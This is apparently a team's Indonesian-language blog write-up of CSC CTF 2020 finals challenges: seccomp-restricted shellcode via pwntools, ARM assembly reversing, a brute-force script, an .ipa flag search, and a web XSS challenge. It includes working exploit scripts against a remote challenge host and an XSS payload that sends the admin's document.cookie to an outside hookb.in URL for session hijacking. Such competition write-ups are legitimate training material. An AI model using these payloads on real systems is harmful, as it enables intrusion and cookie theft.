DEV Community

Cover image for Final CSC CTF 2020 Write Up
yudi
yudi

Posted on • Updated on

Final CSC CTF 2020 Write Up

Your exploit it's useful

Team Member
ChaO
AnehMan
MBEERRR

Daftar Isi


Binary Exploitation

Babysc

Diberikan sebuah binary dengan spesifikasi sebagai berikut.
chal
Terlihat bahwa binary menggunakan arsitektur 64 bit dan security yang ada pada binary tersebut ter-enabled semua. Namun jika dilihat lebih baik di IDA Pro, binary tersebut akan meng-exec shellcode yang akan menjadi inputan kita. Berikut merupakan potongan pseudocode nya.
chal
Namun, syscall difilter sedemikian rupa sehingga kita hanya bisa memakai beberapa syscall. Untuk melihat syscall yang bisa / tidak bisa kita pakai, kami menggunakan seccomp-tools. Berikut gambarnya.
binary
Dapat dilihat binary hanya bisa melakukan openat, read, write, getdents64, exit, dan exit_group.

Ide kami adalah untuk melihat unknown_dir terlebih dahulu dengan getdents64 agar kita dapat melihat lokasi dari flag.

Berikut exploit yang kami buat.

from pwn import *

context.arch = 'amd64'

# p = process("./babysc")

p = remote("139.59.97.212", 23339)

shellcode = ''

#/home/babysc/55ffa688e1003d7020b4b2b0e84b85fc/flag.txt

shellcode += asm(shellcraft.openat(0, '/home/babysc/', 0, 0))

shellcode += asm(shellcraft.getdents64('rax', 'rsp', 0x100))

shellcode += asm(shellcraft.write(1, 'rsp', 0x100))

p.sendline(shellcode)

p.interactive()
Enter fullscreen mode Exit fullscreen mode

Pertama, kami lakukan list directory pada /home/babysc untuk melihat nama directory yg unknown tersebut. Berikut outputnya.
pwn
Sekarang sudah terlihat bahwa nama directory yang tidak diketahui tersebut adalah 55ffa688e1003d7020b4b2b0e84b85fc. Jika kita lihat lagi isi dari directory tersebut, akan terdapat file flag.txt. Selanjutnya tinggal kita baca saja isi dari flag tersebut dengan openat, read, write. Berikut exploit yang kami buat.

from pwn import *

context.arch = 'amd64'

# p = process("./babysc")

p = remote("139.59.97.212", 23339)

shellcode = ''

#/home/babysc/55ffa688e1003d7020b4b2b0e84b85fc/flag.txt

shellcode += asm(shellcraft.openat(0, '/home/babysc/55ffa688e1003d7020b4b2b0e84b85fc/flag.txt', 0, 0))

shellcode += asm(shellcraft.read('rax', 'rsp', 0x100))

shellcode += asm(shellcraft.write(1, 'rsp', 0x100))

p.sendline(shellcode)

p.interactive()
Enter fullscreen mode Exit fullscreen mode

pwn
CSCCTF{on3_b4bySteP_At_a_t1mE}

Reverse Engineering

Readme

Diberikan file asm dengan nama main.s, berikut penampakannya

.section    __TEXT,__text,regular,pure_instructions

.ios_version_min 11, 0    sdk_version 14, 2

.globl    _notmain                ; -- Begin function notmain

.p2align    2

_notmain:                               ; @notmain

   sub    sp, sp, #64             ; =64

   stp    x29, x30, [sp, #48]     ; 16-byte Folded Spill

   add    x29, sp, #48            ; =48

   stur    w0, [x29, #-4]

   stur    x1, [x29, #-16]

   mov    x8, #100

   str    x8, [sp, #24]

   str    wzr, [sp, #20]

LBB0_1:

   ldr    w8, [sp, #20]

   cmp    w8, #1337

   b.ge    LBB0_28

   ldr    w8, [sp, #20]

   mov    w9, #3

   sdiv    w10, w8, w9

   mul    w9, w10, w9

   subs    w8, w8, w9

   cbnz    w8, LBB0_4

   ldr    x8, [sp, #24]

   add    x8, x8, #1000

   str    x8, [sp, #24]

   b    LBB0_26

LBB0_4:

   ldr    w8, [sp, #20]

   mov    w9, #4

   sdiv    w10, w8, w9

   mul    w9, w10, w9

   subs    w8, w8, w9

   cbnz    w8, LBB0_6

   ldr    x8, [sp, #24]

   add    x8, x8, #100

   str    x8, [sp, #24]

   b    LBB0_25

LBB0_6:

   ldr    w8, [sp, #20]

   mov    w9, #5

   sdiv    w10, w8, w9

   mul    w9, w10, w9

   subs    w8, w8, w9

   cbnz    w8, LBB0_8

   ldr    x8, [sp, #24]

   add    x8, x8, #10

   str    x8, [sp, #24]

   b    LBB0_24

LBB0_8:

   ldr    w8, [sp, #20]

   mov    w9, #6

   sdiv    w10, w8, w9

   mul    w9, w10, w9

   subs    w8, w8, w9

   cbnz    w8, LBB0_10

   ldr    x8, [sp, #24]

   add    x8, x8, #1

   str    x8, [sp, #24]

   b    LBB0_23

LBB0_10:

   ldr    w8, [sp, #20]

   mov    w9, #7

   sdiv    w10, w8, w9

   mul    w9, w10, w9

   subs    w8, w8, w9

   cbnz    w8, LBB0_12

   ldr    x8, [sp, #24]

   add    x8, x8, #2000

   str    x8, [sp, #24]

   b    LBB0_22

LBB0_12:

   ldr    w8, [sp, #20]

   mov    w9, #8

   sdiv    w10, w8, w9

   mul    w9, w10, w9

   subs    w8, w8, w9

   cbnz    w8, LBB0_14

   ldr    x8, [sp, #24]

   add    x8, x8, #200

   str    x8, [sp, #24]

   b    LBB0_21

LBB0_14:

   ldr    w8, [sp, #20]

   mov    w9, #9

   sdiv    w10, w8, w9

   mul    w9, w10, w9

   subs    w8, w8, w9

   cbnz    w8, LBB0_16

   ldr    x8, [sp, #24]

   add    x8, x8, #20

   str    x8, [sp, #24]

   b    LBB0_20

LBB0_16:

   ldr    w8, [sp, #20]

   mov    w9, #10

   sdiv    w10, w8, w9

   mul    w9, w10, w9

   subs    w8, w8, w9

   cbnz    w8, LBB0_18

   ldr    x8, [sp, #24]

   add    x8, x8, #2

   str    x8, [sp, #24]

   b    LBB0_19

LBB0_18:

   ldr    x8, [sp, #24]

   add    x8, x8, #1337

   str    x8, [sp, #24]

LBB0_19:

LBB0_20:

LBB0_21:

LBB0_22:

LBB0_23:

LBB0_24:

LBB0_25:

LBB0_26:

   ldr    w8, [sp, #20]

   add    w8, w8, #1

   str    w8, [sp, #20]

   b    LBB0_1

LBB0_28:

       ldr    x8, [sp, #24]

       adrp    x0, l_.str@PAGE

       add    x0, x0, l_.str@PAGEOFF

       mov    x9, sp

       str    x8, [x9]

       bl    _printf

       mov    w10, #0

       mov    x0, x10

       ldp    x29, x30, [sp, #48]

       add    sp, sp, #64

       ret

   .section    __TEXT,__cstring,cstring_literals

l_.str:                                 ## @.str

   .asciz    "%lld”
Enter fullscreen mode Exit fullscreen mode

Program akan melakukan operasi aritmatika, dan hasilnya akan di print. Flag adalah output dari program tersebut.

Karena ini ARM, dan kami tidak pernah membaca assembly dari ARM, kami melakukan sedikit googling. Setelah melakukan googling dan analisa pada assembly yang diberikan, kami bisa menyimpulkan bahwa:
1. Program dimulai dari _notmain
2. Setelah perintah di _notmain selesai, selanjutnya program akan menjalankan perintah di LBB0_1
3. LBB0_1 merupakan looping, dimana kondisinya adalah w8 < 1337, dan pada fungsi LBB0_26, w8 akan ditambah 1 (increment)
4. Ada banyak sekali if statement (if dalam if, atau nested if), dengan statement yang serupa
5. Setelah melalui operasi aritmatika yang berada di dalam loop + nested if tadi, program akan menyimpan hasilnya di variabel x8, di print, dan program berakhir

w8 = 0

x8 = 100

sp24 = x8

sp20 = 0

while w8 < 1337:

   w8 = sp20

   w9 = 3

   w10 = w8//w9

   w9 = w10*w9

   w8 = w8 - w9

   # print(w8)

   if w8 != 0:

       # LBB0_4

       w8 = sp20

       w9 = 4

       w10 = w8//w9

       w9 = w10*w9

       w8 = w8 - w9

       if w8 != 0:

           # LBB0_6

           w8 = sp20

           w9 = 5

           w10 = w8//w9

           w9 = w10*w9

           w8 = w8 - w9

           if w8 != 0:

               # LBB0_8

               w8 = sp20

               w9 = 6

               w10 = w8//w9

               w9 = w10*w9

               w8 = w8 - w9

               if w8 != 0:

                   # LBB0_10

                   w8 = sp20

                   w9 = 7

                   w10 = w8//w9

                   w9 = w10*w9

                   w8 = w8 - w9

                   if w8 != 0:

                       # LBB0_12

                       w8 = sp20

                       w9 = 8

                       w10 = w8//w9

                       w9 = w10*w9

                       w8 = w8 - w9

                       if w8 != 0:

                           # LBB0_14

                           w8 = sp20

                           w9 = 9

                           w10 = w8//w9

                           w9 = w10*w9

                           w8 = w8 - w9

                           if w8 != 0:

                               # LBB0_16

                               w8 = sp20

                               w9 = 10

                               w10 = w8//w9

                               w9 = w10*w9

                               w8 = w8 - w9

                               if w8 != 0:

                                   # LBB0_18

                                   x8 = sp24

                                   x8 = x8 + 1337

                                   sp24 = x8

                               x8 = sp24

                               x8 = x8 + 2

                               sp24 = x8

                           x8 = sp24

                           x8 = x8 + 20

                           sp24 = x8

                       x8 = sp24

                       x8 = x8 + 200

                       sp24 = x8

                   x8 = sp24

                   x8 = x8 + 2000

                   sp24 = x8

               x8 = sp24

               x8 = x8 + 1

               sp24 = x8

           x8 = sp24

           x8 = x8 + 10

           sp24 = x8

       x8 = sp24

       x8 = x8 + 100

       sp24 = x8

   sp24 = x8

   x8 = x8 + 1000

   sp24 = x8

   # LBB0_26

   w8 = sp20

   w8 = w8 + 1

   sp20 = w8

# LBB0_28

x8 = sp24

print(x8)
Enter fullscreen mode Exit fullscreen mode

Hasilnya adalah:
hasil
Coba submit, eh salah :((

Setelah bingung selama kurang lebih 1 jam (dan coba nebak flag), kami menyadari 1 hal. Pada saat perintah cbnz, kita mencoba menambahkan else setelah melakukan pengecekan kalau w8 bernilai 0 atau tidak (Compare and Branch on Non-Zero). Jadi kita menambahkan tambahan else pada setiap if yang ada. Berikut adalah script python nya

# not_main

w8 = 0

x8 = 100

sp24 = x8

sp20 = 0

# LBB0_1

while w8 < 1337:

   w8 = sp20

   w9 = 3

   w10 = w8//w9

   w9 = w10*w9

   w8 = w8 - w9

   if w8 != 0:

       # LBB0_4

       w8 = sp20

       w9 = 4

       w10 = w8//w9

       w9 = w10*w9

       w8 = w8 - w9

       if w8 != 0:

           # LBB0_6

           w8 = sp20

           w9 = 5

           w10 = w8//w9

           w9 = w10*w9

           w8 = w8 - w9

           if w8 != 0:

               # LBB0_8

               w8 = sp20

               w9 = 6

               w10 = w8//w9

               w9 = w10*w9

               w8 = w8 - w9

               if w8 != 0:

                   # LBB0_10

                   w8 = sp20

                   w9 = 7

                   w10 = w8//w9

                   w9 = w10*w9

                   w8 = w8 - w9

                   if w8 != 0:

                       # LBB0_12

                       w8 = sp20

                       w9 = 8

                       w10 = w8//w9

                       w9 = w10*w9

                       w8 = w8 - w9

                       if w8 != 0:

                           # LBB0_14

                           w8 = sp20

                           w9 = 9

                           w10 = w8//w9

                           w9 = w10*w9

                           w8 = w8 - w9

                           if w8 != 0:

                               # LBB0_16

                               w8 = sp20

                               w9 = 10

                               w10 = w8//w9

                               w9 = w10*w9

                               w8 = w8 - w9

                               if w8 != 0:

                                   # LBB0_18

                                   x8 = sp24

                                   x8 = x8 + 1337

                                   sp24 = x8

                               else:

                                   x8 = sp24

                                   x8 = x8 + 2

                                   sp24 = x8

                           else:

                               x8 = sp24

                               x8 = x8 + 20

                               sp24 = x8

                       else:

                           x8 = sp24

                           x8 = x8 + 200

                           sp24 = x8

                   else:

                       x8 = sp24

                       x8 = x8 + 2000

                       sp24 = x8

               else:

                   x8 = sp24

                   x8 = x8 + 1

                   sp24 = x8

           else:

               x8 = sp24

               x8 = x8 + 10

               sp24 = x8

       else:

           x8 = sp24

           x8 = x8 + 100

           sp24 = x8

   else:

       sp24 = x8

       x8 = x8 + 1000

       sp24 = x8

   # LBB0_26

   w8 = sp20

   w8 = w8 + 1

   sp20 = w8

# LBB0_28

x8 = sp24

print("CSCCTF{"+str(x8)+"}")
Enter fullscreen mode Exit fullscreen mode

Hasilnya:
hasil final finalfinal
Kita coba submit, akhirnya bener juga :’)
Flag: CSCCTF{1233423}

Breaker

Diberikan sebuah binary, saat dirun kami langsung berpikir untuk bruteforce tanpa melihat pseudocodenya h3h3.

Langsung saja kami buat script bruteforcenya, kami melakukan bruteforce per karakter untuk mendapatkan karakter yang tepat pada tiap guess yang ada.

Berikut skrip yang kami buat.

from pwn import *

import string

flag = ''

for i in range(1, 49):

 for j in string.printable:

   try:

     context.log_level = 'error'

     p = process("./breaker")

     if flag != '':

       for x in flag:

         p.sendline(x)

     p.sendline(j)

     p.recvline()

     level = p.recv(timeout=0.2)

     # print level

     if "1/48" not in level:

       flag += j

       p.close()

       print "Flag: ", flag

       break

     p.close()

   except:

     pass

p = process("./breaker")

for x in flag:

 p.sendline(x)

p.sendline('w')

# p.interactive()

print p.recv()
Enter fullscreen mode Exit fullscreen mode

Maunya pake subprocess, tapi ga bisa jadinya pake pwntools hikz :(
chal
Flag: CSCCTF{wh4t_th3_fun_m0m3nt_brutef0rc1ng_w1th_SubPr0cesS}

Cr4shed

Diberikan file .ipa, jika dicek dengan perintah file, ternyata merupakan Zip archive data

Langsung saja kita unzip, berikut adalah beberapa file yang berhasil di extract.
chal
Berdasarkan pengalaman waktu kualifikasi, kami langsung mencari string “CSCCTF” di semua tempat. Ya, kami menemukan flagnya. Pengalaman memang guru terbaik h3h3h3
chal
Flag: CSCCTF{G00dR3v3rs3rC4nM4k34L0T0fM0n3Y}

Web Exploitation

Diberikan web dengan tampilan sebagai berikut
chal
Langsung saja mendaftar dengan

Email: a@a.com

Password: password

Login, lalu tinggal klik “Get Some CSCCTF Thingy Tiny Pointy Flaggy”, flag muncul
chal
Flag: CSCCTF{2020_Pollution_4nd_Corrupt1on}

Authey

Adanya vuln xss pada saat compose message content yang dikirimkan akan dieksekusi pada browser si admin@getflaghere.com. Vuln tersebut dapat dimanfaatkan untuk mencuri cookie admin.

Pada input content kami menggunakan payload sebagai berikut:

window.location.href=”https://hookb.in/BY7VJGN69jFLDDx31Pjo?c=” + document.cookie

Pada hookbin kami berhasil mendapatkan cookie milik admin
chal
Kami mengganti cookie kami menggunakan cookie milik admin:
f12
web
Flag: CSCCTF{great_cost_for_00pen_redirection}

Top comments (0)